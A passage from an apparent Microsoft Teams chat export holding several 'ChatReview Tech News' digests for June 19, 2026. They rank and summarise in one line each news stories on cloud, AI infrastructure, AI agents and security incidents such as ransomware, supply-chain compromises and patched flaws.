cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\",\n>       \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN 